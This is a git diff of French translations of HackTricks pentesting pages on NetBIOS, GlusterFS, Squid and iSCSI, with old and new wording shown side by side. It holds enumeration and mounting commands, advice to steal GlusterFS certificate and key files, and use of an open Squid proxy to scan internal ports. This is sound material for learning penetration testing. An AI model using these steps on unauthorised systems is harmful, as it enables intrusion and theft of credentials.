Ces services sont essentiels au fonctionnement de **NetBIOS**, permettant une communication efficace et le partage de ressources à travers un réseau. Pour plus d'informations sur les protocoles TCP et IP, consultez leurs pages respectives [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) et [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
**Lisez la page suivante pour apprendre comment énumérer ce service :**
|
||||
**Lisez la page suivante pour apprendre à énumérer ce service :**
|
||||
|
||||
{% content-ref url="137-138-139-pentesting-netbios.md" %}
|
||||
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
|
||||
|
@ -84,16 +85,17 @@ Name: Find Names
|
|||
Description: Three scans to find the names of the server
|
||||
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,47 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
**GlusterFS** est un **système de fichiers distribué** qui combine le stockage de plusieurs serveurs en un **système unifié**. Il permet une **scalabilité arbitraire**, ce qui signifie que vous pouvez facilement ajouter ou supprimer des serveurs de stockage sans perturber le système de fichiers global. Cela garantit une haute **disponibilité** et une **tolérance aux pannes** pour vos données. Avec GlusterFS, vous pouvez accéder à vos fichiers comme s'ils étaient stockés localement, indépendamment de l'infrastructure serveur sous-jacente. Il offre une solution puissante et flexible pour gérer de grandes quantités de données sur plusieurs serveurs.
|
||||
**GlusterFS** est un **système de fichiers distribué** qui combine le stockage de plusieurs serveurs en un **système unifié**. Il permet une **scalabilité arbitraire**, ce qui signifie que vous pouvez facilement ajouter ou retirer des serveurs de stockage sans perturber l'ensemble du système de fichiers. Cela garantit une **disponibilité** et une **tolérance aux pannes** élevées pour vos données. Avec GlusterFS, vous pouvez accéder à vos fichiers comme s'ils étaient stockés localement, indépendamment de l'infrastructure serveur sous-jacente. Il fournit une solution puissante et flexible pour gérer de grandes quantités de données sur plusieurs serveurs.
|
||||
|
||||
**Ports par défaut**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (et suivants)\
|
||||
Pour le port 49152, les ports incrémentés de 1 doivent être ouverts pour utiliser plus de briques. _Auparavant, le port 24009 était utilisé à la place du 49152._
|
||||
**Ports par défaut** : 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (et suivants)\
|
||||
Pour le port 49152, les ports incrémentés de 1 doivent être ouverts pour utiliser plus de briques. _Auparavant, le port 24009 était utilisé à la place de 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Énumération
|
||||
## Enumeration
|
||||
|
||||
Pour interagir avec ce système de fichiers, vous devez installer le [**client GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
Pour interagir avec ce système de fichiers, vous devez installer le [**client GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
|
||||
|
||||
Pour répertorier et monter les volumes disponibles, vous pouvez utiliser :
|
||||
Pour lister et monter les volumes disponibles, vous pouvez utiliser :
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
```
|
||||
Si vous recevez une **erreur en essayant de monter le système de fichiers**, vous pouvez vérifier les journaux dans `/var/log/glusterfs/`
|
||||
Si vous recevez une **erreur lors de la tentative de montage du système de fichiers**, vous pouvez vérifier les journaux dans `/var/log/glusterfs/`
|
||||
|
||||
Les **erreurs mentionnant des certificats** peuvent être corrigées en volant les fichiers (si vous avez accès au système):
|
||||
**Les erreurs mentionnant des certificats** peuvent être corrigées en volant les fichiers (si vous avez accès au système) :
|
||||
|
||||
* /etc/ssl/glusterfs.ca
|
||||
* /etc/ssl/glusterfs.key
|
||||
* /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
Et en les stockant sur votre machine dans le répertoire `/etc/ssl` ou `/usr/lib/ssl` (si un répertoire différent est utilisé, vérifiez les lignes similaires à : "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" dans les journaux).
|
||||
Et en les stockant sur votre machine dans le répertoire `/etc/ssl` ou `/usr/lib/ssl` (si un répertoire différent est utilisé, vérifiez les lignes similaires à : "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" dans les journaux) .
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
D'après [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
|
||||
> **Squid** est un proxy web HTTP de mise en cache et de transfert. Il a une grande variété d'utilisations, notamment l'accélération d'un serveur web en mettant en cache les requêtes répétées, la mise en cache de recherches web, DNS et autres recherches de réseau informatique pour un groupe de personnes partageant des ressources réseau, et l'amélioration de la sécurité en filtrant le trafic. Bien qu'il soit principalement utilisé pour HTTP et FTP, Squid inclut un support limité pour plusieurs autres protocoles, y compris Internet Gopher, SSL, TLS et HTTPS. Squid ne prend pas en charge le protocole SOCKS, contrairement à Privoxy, avec lequel Squid peut être utilisé pour fournir un support SOCKS.
|
||||
> **Squid** est un proxy web HTTP de mise en cache et de transfert. Il a une grande variété d'utilisations, y compris l'accélération d'un serveur web en mettant en cache des requêtes répétées, la mise en cache des recherches web, DNS et d'autres recherches de réseau informatique pour un groupe de personnes partageant des ressources réseau, et l'aide à la sécurité en filtrant le trafic. Bien qu'il soit principalement utilisé pour HTTP et FTP, Squid inclut un support limité pour plusieurs autres protocoles, y compris Internet Gopher, SSL, TLS et HTTPS. Squid ne prend pas en charge le protocole SOCKS, contrairement à Privoxy, avec lequel Squid peut être utilisé pour fournir un support SOCKS.
|
||||
|
||||
**Port par défaut:** 3128
|
||||
**Port par défaut :** 3128
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3128/tcp open http-proxy Squid http proxy 4.11
|
||||
|
@ -28,35 +29,36 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
## Proxy Web
|
||||
|
||||
Vous pouvez essayer de définir ce service découvert comme proxy dans votre navigateur. Cependant, s'il est configuré avec une authentification HTTP, vous serez invité à saisir des noms d'utilisateur et un mot de passe.
|
||||
Vous pouvez essayer de définir ce service découvert comme proxy dans votre navigateur. Cependant, s'il est configuré avec une authentification HTTP, vous serez invité à entrer des noms d'utilisateur et des mots de passe.
|
||||
```bash
|
||||
# Try to proxify curl
|
||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||
```
|
||||
## Nmap proxifié
|
||||
|
||||
Vous pouvez également essayer d'abuser du proxy pour **analyser les ports internes en utilisant nmap en le proxifiant**.\
|
||||
Configurez proxychains pour utiliser le proxy squid en ajoutant la ligne suivante à la fin du fichier proxichains.conf : `http 10.10.10.10 3128`
|
||||
Pour les proxies nécessitant une authentification, ajoutez les informations d'identification à la configuration en incluant le nom d'utilisateur et le mot de passe à la fin : `http 10.10.10.10 3128 nom_utilisateur mot_de_passe`.
|
||||
Vous pouvez également essayer d'abuser du proxy pour **scanner les ports internes en proxifiant nmap**.\
|
||||
Configurez proxychains pour utiliser le proxy squid en ajoutant la ligne suivante à la fin du fichier proxichains.conf : `http 10.10.10.10 3128`\
|
||||
Pour les proxies nécessitant une authentification, ajoutez les identifiants à la configuration en incluant le nom d'utilisateur et le mot de passe à la fin : `http 10.10.10.10 3128 username passw0rd`.
|
||||
|
||||
Ensuite, exécutez nmap avec proxychains pour **analyser l'hôte en local** : `proxychains nmap -sT -n -p- localhost`
|
||||
Ensuite, exécutez nmap avec proxychains pour **scanner l'hôte depuis local** : `proxychains nmap -sT -n -p- localhost`
|
||||
|
||||
## Scanner SPOSE
|
||||
## SPOSE Scanner
|
||||
|
||||
Alternativement, le Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) peut être utilisé.
|
||||
```bash
|
||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# 3260 - Pentesting iSCSI
|
||||
# 3260 - Pentesting ISCSI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
|
||||
D'après [Wikipedia](https://en.wikipedia.org/wiki/ISCSI) :
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||
|
||||
> En informatique, **iSCSI** est un acronyme pour **Internet Small Computer Systems Interface**, une norme de réseau de stockage basée sur le protocole Internet (IP) pour relier les installations de stockage de données. Il fournit un accès au niveau des blocs aux dispositifs de stockage en transportant des commandes SCSI sur un réseau TCP/IP. iSCSI est utilisé pour faciliter les transferts de données sur des intranets et pour gérer le stockage sur de longues distances. Il peut être utilisé pour transmettre des données sur des réseaux locaux (LAN), des réseaux étendus (WAN) ou Internet et peut permettre le stockage et la récupération de données indépendants de l'emplacement.
|
||||
> En informatique, **iSCSI** est un acronyme pour **Internet Small Computer Systems Interface**, une norme de mise en réseau de stockage basée sur le protocole Internet (IP) pour relier des installations de stockage de données. Elle fournit un accès au niveau des blocs aux dispositifs de stockage en transportant des commandes SCSI sur un réseau TCP/IP. iSCSI est utilisé pour faciliter les transferts de données sur des intranets et pour gérer le stockage sur de longues distances. Il peut être utilisé pour transmettre des données sur des réseaux locaux (LAN), des réseaux étendus (WAN) ou Internet et peut permettre un stockage et une récupération de données indépendants de l'emplacement.
|
||||
>
|
||||
> Le protocole permet aux clients (appelés initiateurs) d'envoyer des commandes SCSI (CDB) aux dispositifs de stockage (cibles) sur des serveurs distants. C'est un protocole de réseau de stockage (SAN), permettant aux organisations de consolider le stockage dans des baies de stockage tout en fournissant aux clients (comme les serveurs de bases de données et web) l'illusion de disques SCSI attachés localement. Il rivalise principalement avec Fibre Channel, mais contrairement au Fibre Channel traditionnel qui nécessite généralement un câblage dédié, iSCSI peut être exécuté sur de longues distances en utilisant l'infrastructure réseau existante.
|
||||
> Le protocole permet aux clients (appelés initiateurs) d'envoyer des commandes SCSI (CDB) à des dispositifs de stockage (cibles) sur des serveurs distants. C'est un protocole de réseau de stockage (SAN), permettant aux organisations de consolider le stockage dans des ensembles de stockage tout en fournissant aux clients (tels que les serveurs de bases de données et les serveurs web) l'illusion de disques SCSI attachés localement. Il concurrence principalement le Fibre Channel, mais contrairement au Fibre Channel traditionnel qui nécessite généralement un câblage dédié, iSCSI peut être exécuté sur de longues distances en utilisant l'infrastructure réseau existante.
|
||||
|
||||
**Port par défaut :** 3260
|
||||
```
|
||||
|
@ -31,15 +32,15 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||
```
|
||||
Ce script indiquera si l'authentification est requise.
|
||||
Ce script indiquera si une authentification est requise.
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||
|
||||
### [Monter ISCSI sur Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
|
||||
**Remarque :** Vous pouvez constater que lorsque vos cibles sont découvertes, elles sont répertoriées sous une adresse IP différente. Cela se produit souvent si le service iSCSI est exposé via NAT ou une IP virtuelle. Dans de tels cas, `iscsiadmin` échouera à se connecter. Cela nécessite deux ajustements : l'un au nom du répertoire du nœud créé automatiquement par vos activités de découverte, et l'autre au fichier `default` contenu dans ce répertoire.
|
||||
**Note :** Vous pouvez constater que lorsque vos cibles sont découvertes, elles sont listées sous une adresse IP différente. Cela a tendance à se produire si le service iSCSI est exposé via NAT ou une IP virtuelle. Dans de tels cas, `iscsiadmin` échouera à se connecter. Cela nécessite deux ajustements : un pour le nom de répertoire du nœud créé automatiquement par vos activités de découverte, et un pour le fichier `default` contenu dans ce répertoire.
|
||||
|
||||
Par exemple, si vous essayez de vous connecter à une cible iSCSI sur 123.123.123.123 au port 3260. Le serveur exposant la cible iSCSI est en réalité à 192.168.1.2 mais exposé via NAT. isciadm enregistrera l'adresse _interne_ plutôt que l'adresse _publique_:
|
||||
Par exemple, vous essayez de vous connecter à une cible iSCSI sur 123.123.123.123 au port 3260. Le serveur exposant la cible iSCSI est en réalité à 192.168.1.2 mais exposé via NAT. isciadm enregistrera l'adresse _interne_ plutôt que l'adresse _publique_ :
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
|
@ -52,9 +53,9 @@ Cette commande créera un répertoire dans votre système de fichiers comme ceci
|
|||
Dans le répertoire, il y a un fichier par défaut avec tous les paramètres nécessaires pour se connecter à la cible.
|
||||
|
||||
1. Renommez `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` en `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. Dans `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, changez le paramètre `node.conn[0].address` pour pointer vers 123.123.123.123 au lieu de 192.168.1.2. Cela pourrait être fait avec une commande telle que `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
2. Dans `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, changez le paramètre `node.conn[0].address` pour qu'il pointe vers 123.123.123.123 au lieu de 192.168.1.2. Cela peut être fait avec une commande telle que `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
|
||||
Vous pouvez maintenant monter la cible selon les instructions du lien.
|
||||
Vous pouvez maintenant monter la cible selon les instructions dans le lien.
|
||||
|
||||
### [Monter ISCSI sur Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
|
||||
|
@ -62,24 +63,24 @@ Vous pouvez maintenant monter la cible selon les instructions du lien.
|
|||
```bash
|
||||
sudo apt-get install open-iscsi
|
||||
```
|
||||
Exemple de [documentation iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
Exemple des [docs iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm) :
|
||||
|
||||
Tout d'abord, vous devez **découvrir le nom des cibles** derrière l'adresse IP :
|
||||
Tout d'abord, vous devez **découvrir les noms des cibles** derrière l'IP :
|
||||
```bash
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||
```
|
||||
_Notez qu'il affichera l'I**P et le port des interfaces** auxquels vous pouvez **accéder** ces **cibles**. Il peut même **afficher des IPs internes ou différentes IPs** de celle que vous avez utilisée._
|
||||
_Notez qu'il affichera l'I**P et le port des interfaces** où vous pouvez **atteindre** ces **cibles**. Il peut même **afficher des IP internes ou des IP différentes** de celle que vous avez utilisée._
|
||||
|
||||
Ensuite, vous **attrapez la 2ème partie de la chaîne imprimée de chaque ligne** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ de la première ligne) et **essayez de vous connecter**:
|
||||
Ensuite, vous **attrapez la 2ème partie de la chaîne imprimée de chaque ligne** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ de la première ligne) et **essayez de vous connecter** :
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||
Login to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||
```
|
||||
Ensuite, vous pouvez **vous déconnecter** en utilisant `–logout`
|
||||
Ensuite, vous pouvez **logout** en utilisant `–logout`
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --logout
|
||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||
|
@ -172,16 +173,17 @@ node.conn[0].iscsi.OFMarker = No
|
|||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
